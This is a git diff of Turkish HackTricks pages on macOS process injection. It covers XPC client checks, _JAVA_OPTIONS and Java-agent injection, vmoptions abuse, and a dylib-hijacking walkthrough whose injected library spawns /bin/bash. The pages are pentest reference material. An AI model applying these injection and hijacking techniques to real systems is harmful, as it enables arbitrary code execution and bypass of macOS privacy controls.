### İletişim Saldırıları
|
||||
|
||||
|
@ -48,13 +49,13 @@ PID yeniden kullanım saldırısı hakkında daha fazla bilgi için kontrol edin
|
|||
[macos-xpc\_connection\_get\_audit\_token-attack.md](macos-xpc\_connection\_get\_audit\_token-attack.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Trustcache - Düşürme Saldırılarına Karşı Önlem
|
||||
### Trustcache - Aşağı Dönüş Saldırıları Önleme
|
||||
|
||||
Trustcache, Apple Silicon makinelerinde tanıtılan bir savunma yöntemidir ve yalnızca değiştirilmemiş izin verilen ikili dosyaların çalıştırılmasına izin veren bir CDHSAH veritabanını depolar. Bu, düşürme sürümlerinin yürütülmesini engeller.
|
||||
Trustcache, yalnızca izin verilen değiştirilmemiş ikili dosyaların çalıştırılmasını sağlayan Apple Silicon makinelerinde tanıtılan savunma yöntemidir. Bu, aşağı sürüm versiyonlarının çalıştırılmasını önler.
|
||||
|
||||
### Kod Örnekleri
|
||||
|
||||
Sunucu, bu **doğrulamayı** **`shouldAcceptNewConnection`** adlı bir işlevde uygular.
|
||||
Sunucu bu **doğrulamayı** **`shouldAcceptNewConnection`** adlı bir işlevde uygulayacaktır.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
|
@ -65,9 +66,9 @@ return YES;
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
NSXPCConnection nesnesinin **özel** bir **`auditToken`** özelliği (kullanılması gereken ancak değişebilecek olan) ve **genel** bir **`processIdentifier`** özelliği (kullanılmaması gereken) bulunmaktadır.
|
||||
NSXPCConnection nesnesinin **özel** bir özelliği **`auditToken`** (kullanılması gereken ama değişebilecek olan) ve **genel** bir özelliği **`processIdentifier`** (kullanılmaması gereken) vardır.
|
||||
|
||||
Bağlantı kurulan işlem şu şekilde doğrulanabilir:
|
||||
Bağlanan süreç, şu şekilde doğrulanabilir:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
|
@ -91,7 +92,7 @@ SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirementString)
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Eğer bir geliştirici istemci sürümünü kontrol etmek istemiyorsa, en azından istemcinin işlem enjeksiyonuna karşı savunmasız olmadığını kontrol edebilir:
|
||||
Eğer bir geliştirici istemcinin sürümünü kontrol etmek istemiyorsa, en azından istemcinin işlem enjeksiyonuna karşı savunmasız olmadığını kontrol edebilir:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
|
@ -110,16 +111,17 @@ return Yes; // Accept connection
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
|
||||
* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# macOS Java Uygulamaları Enjeksiyonu
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Numaralandırma
|
||||
## Sayım
|
||||
|
||||
Sistemde yüklü olan Java uygulamalarını bulun. **Info.plist** içindeki Java uygulamalarının bazı java parametrelerini içerdiği ve bu parametrelerin **`java.`** dizesini içerdiği fark edildi, bu yüzden buna göre arama yapabilirsiniz:
|
||||
Sisteminizde yüklü Java uygulamalarını bulun. **Info.plist** içindeki Java uygulamalarının **`java.`** dizesini içeren bazı java parametreleri barındırdığı gözlemlenmiştir, bu nedenle bunun için arama yapabilirsiniz:
|
||||
```bash
|
||||
# Search only in /Applications folder
|
||||
sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
|
||||
|
@ -26,13 +27,13 @@ sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
|
|||
```
|
||||
## \_JAVA\_OPTIONS
|
||||
|
||||
Çevre değişkeni **`_JAVA_OPTIONS`**, bir Java derlenmiş uygulamanın yürütülmesinde keyfi Java parametrelerinin enjekte edilmesi için kullanılabilir:
|
||||
Env değişkeni **`_JAVA_OPTIONS`** bir java derlenmiş uygulamasının yürütülmesinde rastgele java parametreleri enjekte etmek için kullanılabilir:
|
||||
```bash
|
||||
# Write your payload in a script called /tmp/payload.sh
|
||||
export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'
|
||||
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
||||
```
|
||||
Yeni bir işlem olarak çalıştırmak için ve mevcut terminalin alt işlemi olmadan kullanabilirsiniz:
|
||||
Yeni bir işlem olarak ve mevcut terminalin bir çocuğu olarak değil, bunu çalıştırmak için şunu kullanabilirsiniz:
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
// clang -fobjc-arc -framework Foundation invoker.m -o invoker
|
||||
|
@ -85,7 +86,7 @@ NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
Ancak, bu yürütülen uygulamada bir hata tetikleyecektir, daha gizli bir yol ise bir Java ajanı oluşturmak ve şunu kullanmaktır:
|
||||
Ancak, bu, çalıştırılan uygulamada bir hata tetikleyecektir, daha gizli bir yol ise bir java ajanı oluşturmak ve şunu kullanmaktır:
|
||||
```bash
|
||||
export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
|
||||
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
||||
|
@ -95,10 +96,10 @@ export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
|
|||
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Uygulamadan farklı bir Java sürümüyle ajan oluşturmak, ajanın ve uygulamanın çalışmasını çökerte bilir.
|
||||
Ajansı, uygulamadan **farklı bir Java sürümü** ile oluşturmak, hem ajansın hem de uygulamanın çalışmasını çökertilebilir.
|
||||
{% endhint %}
|
||||
|
||||
Ajan aşağıdaki gibi olabilir:
|
||||
Ajansın nerede olabileceği:
|
||||
|
||||
{% code title="Agent.java" %}
|
||||
```java
|
||||
|
@ -124,14 +125,14 @@ Ajanı derlemek için şunu çalıştırın:
|
|||
javac Agent.java # Create Agent.class
|
||||
jar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar
|
||||
```
|
||||
`manifest.txt` dosyasıyla:
|
||||
`manifest.txt` ile:
|
||||
```
|
||||
Premain-Class: Agent
|
||||
Agent-Class: Agent
|
||||
Can-Redefine-Classes: true
|
||||
Can-Retransform-Classes: true
|
||||
```
|
||||
Ve ardından çevre değişkenini ihraç edin ve java uygulamasını şu şekilde çalıştırın:
|
||||
Ve ardından env değişkenini dışa aktarın ve java uygulamasını şu şekilde çalıştırın:
|
||||
```bash
|
||||
export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
|
||||
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
||||
|
@ -142,12 +143,12 @@ open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Profession
|
|||
```
|
||||
## vmoptions dosyası
|
||||
|
||||
Bu dosya, Java çalıştırıldığında **Java parametrelerinin** belirtilebileceği bir dosyadır. Önceki hilelerden bazılarını kullanarak java parametrelerini değiştirebilir ve **işlemi keyfi komutlarla çalıştırabilirsiniz**.\
|
||||
Ayrıca, bu dosya `include` diziniyle diğer dosyaları da **dahil edebilir**, bu nedenle dahil edilen bir dosyayı da değiştirebilirsiniz.
|
||||
Bu dosya, Java çalıştırıldığında **Java parametrelerinin** belirtilmesini destekler. Java parametrelerini değiştirmek ve **sürecin rastgele komutlar çalıştırmasını sağlamak** için önceki hilelerden bazılarını kullanabilirsiniz.\
|
||||
Ayrıca, bu dosya `include` dizini ile **başka dosyaları da içerebilir**, böylece dahil edilen bir dosyayı da değiştirebilirsiniz.
|
||||
|
||||
Dahası, bazı Java uygulamaları birden fazla `vmoptions` dosyası **yükleyebilir**.
|
||||
Dahası, bazı Java uygulamaları **birden fazla `vmoptions`** dosyasını **yükleyecektir**.
|
||||
|
||||
Android Studio gibi bazı uygulamalar, bu dosyaların **nerede arandığını** çıktılarında belirtir, örneğin:
|
||||
Android Studio gibi bazı uygulamalar, bu dosyaları nerede aradıklarını **çıktılarında belirtir**, şöyle:
|
||||
```bash
|
||||
/Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions
|
||||
|
||||
|
@ -158,7 +159,7 @@ Android Studio gibi bazı uygulamalar, bu dosyaların **nerede arandığını**
|
|||
2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
|
||||
2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
|
||||
```
|
||||
Eğer yapmazlarsa, bunu kolayca kontrol edebilirsiniz:
|
||||
Eğer yapmıyorsanız, bunu kolayca kontrol edebilirsiniz:
|
||||
```bash
|
||||
# Monitor
|
||||
sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
|
||||
|
@ -166,18 +167,4 @@ sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
|
|||
# Launch the Java app
|
||||
/Applications/Android\ Studio.app/Contents/MacOS/studio
|
||||
```
|
||||
İlginç olan şudur ki, bu örnekte Android Studio, herhangi bir **`admin` grubundaki kullanıcının yazma erişimine sahip olduğu** **`/Applications/Android Studio.app.vmoptions`** dosyasını yüklemeye çalışıyor.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
|
||||
</details>
|
||||
Not edin ki bu örnekte Android Studio'nun **`/Applications/Android Studio.app.vmoptions`** dosyasını yüklemeye çalışması oldukça ilginçtir; bu, **`admin` grubundaki** herhangi bir kullanıcının yazma erişimine sahip olduğu bir yerdir.
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**.
|
||||
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## DYLD\_INSERT\_LIBRARIES Temel örnek
|
||||
|
||||
**Kabuk çalıştırmak için enjekte edilecek kütüphane:**
|
||||
**Enjekte edilecek kütüphane** bir shell çalıştırmak için:
|
||||
```c
|
||||
// gcc -dynamiclib -o inject.dylib inject.c
|
||||
|
||||
|
@ -34,7 +35,7 @@ execv("/bin/bash", 0);
|
|||
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
|
||||
}
|
||||
```
|
||||
Saldırılacak ikili dosya:
|
||||
Saldırı yapılacak ikili:
|
||||
```c
|
||||
// gcc hello.c -o hello
|
||||
#include <stdio.h>
|
||||
|
@ -51,7 +52,7 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello
|
|||
```
|
||||
## Dyld Hijacking Örneği
|
||||
|
||||
Hedeflenen zayıf ikili dosya `/Applications/VulnDyld.app/Contents/Resources/lib/binary`'dir.
|
||||
Hedeflenen savunmasız ikili dosya `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="entitlements" %}
|
||||
|
@ -61,7 +62,7 @@ Hedeflenen zayıf ikili dosya `/Applications/VulnDyld.app/Contents/Resources/lib
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="LC_RPATH" %}
|
||||
{% code overflow="wrap %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Check where are the @rpath locations
|
||||
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
|
||||
|
@ -91,12 +92,12 @@ compatibility version 1.0.0
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
Önceki bilgilerle, yüklenen kütüphanelerin imzasını kontrol etmediğini ve şu kütüphaneleri yüklemeye çalıştığını biliyoruz:
|
||||
Önceki bilgilerle, **yüklenen kütüphanelerin imzasını kontrol etmediğini** ve **şu kütüphaneyi yüklemeye çalıştığını** biliyoruz:
|
||||
|
||||
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
|
||||
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
|
||||
|
||||
Ancak, ilk olan mevcut değil:
|
||||
Ancak, ilki mevcut değil:
|
||||
```bash
|
||||
pwd
|
||||
/Applications/VulnDyld.app
|
||||
|
@ -104,7 +105,7 @@ pwd
|
|||
find ./ -name lib.dylib
|
||||
./Contents/Resources/lib2/lib.dylib
|
||||
```
|
||||
Öyleyse, bunu ele geçirmek mümkün! Meşru kütüphaneyi yeniden ihraç ederek aynı işlevleri sağlayan **bazı keyfi kodları yürüten bir kütüphane oluşturun**. Ve beklenen sürümlerle derlediğinizden emin olun:
|
||||
Yani, onu ele geçirmek mümkün! **Herhangi bir kodu çalıştıran ve meşru kütüphanenin aynı işlevselliklerini yeniden dışa aktaran** bir kütüphane oluşturun. Ve beklenen sürümlerle derlemeyi unutmayın:
|
||||
|
||||
{% code title="lib.m" %}
|
||||
```objectivec
|
||||
|
@ -117,7 +118,7 @@ NSLog(@"[+] dylib hijacked in %s", argv[0]);
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Derleyin:
|
||||
Bunu derleyin:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -126,7 +127,7 @@ gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Found
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Kütüphanede oluşturulan yeniden ihracat yolu, yükleyiciye göre göreli olduğundan, onu dışa aktarılacak kütüphanenin mutlak yoluna değiştirelim:
|
||||
Kütüphanede oluşturulan yeniden ihracat yolu yükleyiciye göredir, bunu dışa aktarmak için kütüphaneye mutlak bir yol olarak değiştirelim:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -147,7 +148,7 @@ name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Con
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Son olarak, sadece bunu **ele geçirilen konuma** kopyalayın:
|
||||
Son olarak, bunu **ele geçirilmiş konuma** kopyalayın:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -155,33 +156,34 @@ cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Ve **binary'yi çalıştırın** ve **kütüphanenin yüklendiğini** kontrol edin:
|
||||
Ve **binary'i çalıştırın** ve **kütüphanenin yüklendiğini kontrol edin**:
|
||||
|
||||
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
||||
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] /Applications/VulnDyld.app/Contents/Resources/lib/binary içinde dylib ele geçirildi
|
||||
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
|
||||
</strong>Kullanım: [...]
|
||||
</code></pre>
|
||||
|
||||
{% hint style="info" %}
|
||||
Bu zafiyeti istismar etmek ve Telegram'ın kamera izinlerini istismar etmek için nasıl kullanılacağı hakkında güzel bir yazı [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) adresinde bulunabilir.
|
||||
Bu açığı kullanarak telegram'ın kamera izinlerini nasıl kötüye kullanabileceğinize dair güzel bir yazı [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) adresinde bulunabilir.
|
||||
{% endhint %}
|
||||
|
||||
## Daha Büyük Ölçek
|
||||
|
||||
Eğer beklenmeyen binary'lere kütüphaneler enjekte etmeyi denemeyi planlıyorsanız, kütüphanenin bir işlem içinde yüklendiğini bulmak için olay mesajlarını kontrol edebilirsiniz (bu durumda printf'i ve `/bin/bash` yürütmesini kaldırın).
|
||||
Beklenmedik binary'lere kütüphaneler enjekte etmeyi planlıyorsanız, bir süreç içinde kütüphanenin ne zaman yüklendiğini bulmak için olay mesajlarını kontrol edebilirsiniz (bu durumda printf ve `/bin/bash` yürütmesini kaldırın).
|
||||
```bash
|
||||
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**.
|
||||
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# macOS Ruby Uygulamaları Enjeksiyonu
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> öğrenin!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
